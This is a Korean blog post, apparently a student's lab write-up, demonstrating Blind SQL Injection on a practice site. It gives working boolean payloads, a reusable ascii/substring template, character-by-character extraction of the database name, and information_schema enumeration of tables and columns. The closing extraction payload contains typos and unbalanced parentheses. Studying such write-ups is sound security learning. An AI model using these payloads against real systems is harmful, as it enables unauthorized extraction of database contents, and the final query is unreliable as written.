본문 바로가기
공부/해킹 과제

Blind SQL Injection

by TILDA_16 2023. 4. 28.

Blind SQL Injection이란

 

SQL 질의문의 참과 거짓의 조건으로 데이터를 추출하는 기법이다.

 

DB결과가 화면에 안 나오고 에러메시지가 나오지 않는 경우는 Blind SQL Injection을 사용한다.

 

(Union과 Error이 사용불가능할 때 사용하자)

 

참과 거짓 조건에 따라 응답이 다른 곳에서 사용할 수 있다.(어떻게든 다르면 가능하다)

 

(1) SQL Injection 확인

 

연습해보자!

ID 중복 검사를 하면 like가 아닌 is를 사용할 거 같다.

 

name is '____' 일거 같다.

 

normaltic은 성공했고 norm은 실패, mal도 실패, tic도 실패했다. 그래서 like는 사용하지 않을 거라는 게 맞고 is를 사용했다는 걸 알 수 있다.

 

normaltic' and '1' = '1을 입력해서 값이 나왔다. -> SQL Injection이 가능하다.

 

하지만 에러메시지도 없고 쿼리가 나오는 것도 아니니까 Blind SQL Injection을 사용할 것이다.

 

SQL Injection이 가능하다.

(2) Blind SQL Injection

 

위에서 넣었던 조건에서 and를 하나 더 넣을 것이다.

 

normaltic' and '1' = '1

 

normaltic' and (조건) and '1' = '1

 

여기 조건에 참을 넣으면 문장은 참이 되므로 존재하는 아이디라고 나올 것이다.

 

normaltic' and (1=1) and '1' = '1

 

normaltic' and (1=1) and '1' = '1의 결과가 나왔다.

 

(3) select문 사용

 

1=1 이라는 조건이 참이고 사용이 가능하다.

 

그래서 조건에 select문을 넣어 볼 것이다.

 

normaltic' and ((select 'test') = 'test') and '1' = '1

 

select문을 사용 가능하다.

 

(4) 공격 포맷 만들기

 

overwatch%' and (조건) and '1%' = '1

 

ascii('t')>0 -> 무조건 참인 조건이다(t의 ascii값은 116)

 

normaltic' and (ascii('t')>0) and '1' = '1

 

 

ASCII 사용가능

 

normaltic' and (substring('test', 0, 1)>0) and '1' = '1

 

substring(str, n, n)은 주어진 문자열에서 n번째 위치에서 n개의 문자열을 읽는다

 

normaltic' and (ascii(substring('test', 1, 1))>0) and '1' = '1

 

substring 사용 가능

substring안에 select를 사용할 것이다.

 

normaltic' and (ascii(substring((select 'test'), 1, 1))>0) and '1' = '1

 

substring안에 select 사용 가능

이로써 공격 포맷을 완성하였다.

 

normaltic' and (ascii(substring((SQL), 1, 1))>0) and '1' = '1

 

(5) DB 이름 추출

 

DB이름을 추출하는 명령어는 select database()이고 공격 포맷에 이걸 넣으면

 

normaltic' and (ascii(substring((select database()), 1, 1))>0) and '1' = '1 이러한 공격 구문이 완성된다.

 

normaltic' and (ascii(substring((select database()), 1, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 1, 1))>110) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 1, 1))>120) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 1, 1))>115) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 1, 1))>113) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 1, 1))>114) and '1' = '1 참
s

 

참 거짓을 판별하여 텍스트의 아스키 값을 알아내면 DB이름을 한 글자씩 받아올 수 있다.

 

normaltic' and (ascii(substring((select database()), 2, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 2, 1))>110) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 2, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 2, 1))>105) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 2, 1))>102) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 2, 1))>101) and '1' = '1 거짓
e

normaltic' and (ascii(substring((select database()), 3, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 3, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 3, 1))>110) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 3, 1))>105) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 3, 1))>103) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 3, 1))>101) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 3, 1))>102) and '1' = '1 참
g

normaltic' and (ascii(substring((select database()), 4, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 4, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 4, 1))>110) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 4, 1))>105) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 4, 1))>103) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 4, 1))>102) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 4, 1))>101) and '1' = '1 참
f

normaltic' and (ascii(substring((select database()), 5, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 5, 1))>100) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 5, 1))>98) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 5, 1))>97) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 5, 1))>96) and '1' = '1 참
a

normaltic' and (ascii(substring((select database()), 6, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 6, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 6, 1))>110) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 6, 1))>120) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 6, 1))>115) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 6, 1))>118) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 6, 1))>116) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 6, 1))>117) and '1' = '1 거짓
u

normaltic' and (ascii(substring((select database()), 7, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 7, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 7, 1))>110) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 7, 1))>105) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 7, 1))>108) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 7, 1))>107) and '1' = '1 참
l

normaltic' and (ascii(substring((select database()), 8, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 8, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 8, 1))>110) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 8, 1))>120) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 8, 1))>115) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 8, 1))>117) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 8, 1))>116) and '1' = '1 거짓
t

normaltic' and (ascii(substring((select database()), 9, 1))>100) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 9, 1))>90) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 9, 1))>95) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 9, 1))>93) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 9, 1))>94) and '1' = '1 참
_

normaltic' and (ascii(substring((select database()), 10, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 10, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 10, 1))>110) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 10, 1))>120) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 10, 1))>115) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 10, 1))>113) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 10, 1))>114) and '1' = '1 참
s

normaltic' and (ascii(substring((select database()), 11, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 11, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 11, 1))>110) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 11, 1))>120) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 11, 1))>115) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 11, 1))>112) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 11, 1))>113) and '1' = '1 거짓
q

normaltic' and (ascii(substring((select database()), 12, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 12, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 12, 1))>110) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 12, 1))>105) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 12, 1))>108) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 12, 1))>107) and '1' = '1 참
l

normaltic' and (ascii(substring((select database()), 13, 1))>0) and '1' = '1 거짓

 

13에서 0일 때 거짓이므로 DB 이름은 12글자이고 segfault_sql라는 걸 알아낼 수 있었다.

 

엄청나게 귀찮은 반복작업을 해야한다.

 

(6) Table 이름

 

마찬가지로 테이블 이름을 찾는 명령어는

 

select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 0, 1

 

이고, 포맷에 넣으면

 

normaltic' and (ascii(substring((select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 0, 1), 1, 1))>0) and '1' = '1

 

이다.

 

'segfault_sql' limit 0, 1), 1, 1

 

여기서 뒤에있는 1, 1을 먼저 바꿔주면서 테이블 이름을 얻어내고 limit 0, 1에서 1,1로 변경하여 다음 테이블을 알아낸다.

 

game, member, secret 이렇게 3개의 테이블이 있다.

 

(7) column 이름

 

우리는 secret 테이블의 컬럼을 알아볼것이므로 명령어는 

 

select column_name from information_schema.columns where table_name='secret' limit 0,1

 

이고

공격 포맷에 넣어보면

 

normaltic' and (ascii(substring((select column_name from information_schema.columns where table_name='secret' limit 0,1), 1, 1))>0) and '1' = '1 이다.

 

idx, secret 2개의 컬럼이 있다.

 

(8) Data 추출

 

모든 정보를 알아냈으니 데이터를 뽑아낼수있다.

 

ex) select sercret from serect

 

normaltic' and (ascii(substring((select sercret from serect limit 0,1), 1, 1)>0) and '1' = '1

'공부 > 해킹 과제' 카테고리의 다른 글

SQL Injection 정리  (0) 2023.05.05
SQL Injection 대응 방안  (0) 2023.04.29
Error Based SQL Injection  (0) 2023.04.21
Union SQL Injection  (0) 2023.04.21
로그인 CASE  (0) 2023.04.18